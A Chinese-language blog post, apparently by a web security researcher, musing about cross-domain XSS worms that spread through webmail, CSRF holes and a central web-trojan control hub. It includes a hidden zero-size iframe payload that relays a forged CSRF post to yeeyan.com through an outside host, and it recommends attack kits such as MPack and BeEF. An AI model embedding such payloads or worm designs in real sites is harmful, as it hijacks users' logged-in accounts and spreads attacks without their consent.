这几天分析了几个大网站的XSS&CSRF漏洞,又开始思考跨域蠕虫的问题。QZ修饰鬼页后发现了在IE6下跨域的BUG,这个发现带来的冲击可不仅仅是盗cookie那么简单:),不过我下面要提到的跨域蠕虫与这个BUG无关,本文纯属YY一下。
XSS Worm的流行离不开SNS网络,技术核心非XMLHttpRequest对象莫属,我写了几个SNS网络的Worm,如果这几个Worm之间可以互相通 信的话(突破自身无法跨域的缺陷),那危害将会更大,会更有趣:)。首先我们要明确Webx.0世界中的Worm的生存条件以及它们是如何繁殖的(略)。 要让Worm之间通信,方法有很多。
一、Mail-to-Mail Worm:
邮箱之间 可以互发邮件,Mail Worm可以借助这点将payload(XSS Trap)传播到不同的邮箱服务上,当然这时的payload几乎是不一样的。比如sohu mail的XSS Worm与QQ mail的XSS Worm,他们的通信渠道就完全可以借用邮件本身的互发功能。这两个不同mail环境下的Worm的DOM逻辑肯定不会一样,不过基本的功能模块可以共 享,比如XMLHttpRequest对象以及一些基本自定义函数等,这样的跨域Worm必须具备判断自身所处环境的能力,这个很简单。
这个是跨域蠕虫最简单的模型。
二、CSRF Worm:
这 种模式的跨域蠕虫要借用CSRF漏洞。比如我在myspace.cn上爆发了一个XSS Worm,而yeeyan.com上存在很低级的CSRF漏洞,我要如何将myspace上的威胁带到yeeyan上呢?这时就可以在 myspace.cn上的XSS Worm中加入这样的代码:
<iframe src=http://www.0×37.com/Project/csrf/do.asp?csrf=http://www.yeeyan.com/groups/newTopic/&data[Post][content]=HI+CSRF:)&ymsggroup=&ymsgee=19076&ymsgee_username=19076 width=0 height=0>
如果是简单的发送请求的话,可以:
我 假设myspace.cn与yeeyan.com有某种合作关系,用户经常需要这两者提供的服务,并都登陆了这两个SNS网络,那么当myspace的用 户A被XSS Worm感染之后就会发送CSRF请求给yeeyan的用户B(A与B在现实世界是同一个人),那么用户B就会自动在yeeyan上发布一条留言。而如果 此留言本身就是一个XSS Trap呢?或者是一条针对yeeyan.com的CSRF欺骗信息?呵呵,至于蠕虫是如何繁殖的,这是一种艺术:)。
三、网马中枢:
又 提到这个概念了。这样的中枢不应该局限于挂马技术的应用上,独立的Web2.0 Worm需要一个控制中心,以保证本来没任何关系的Worm之间可以互相通信。而网马中枢就是这个通信的中间枢纽:)。网马中枢还应该做到对网马与 Web2.0 Worm的实时控制。这个不是没有,而是还不够完善。我说过,发展这个中枢这需要结合复杂的服务端技术。这已经是一种发展趋势。
四、其它通信方式:
很多,我不继续YY了……
还是那句话:网马中枢才是王道。这类工具如:MPack Toolkit、BeEF、XSS SHELL等都挺不错。至于跨域嘛……也许根本就不需要这么麻烦。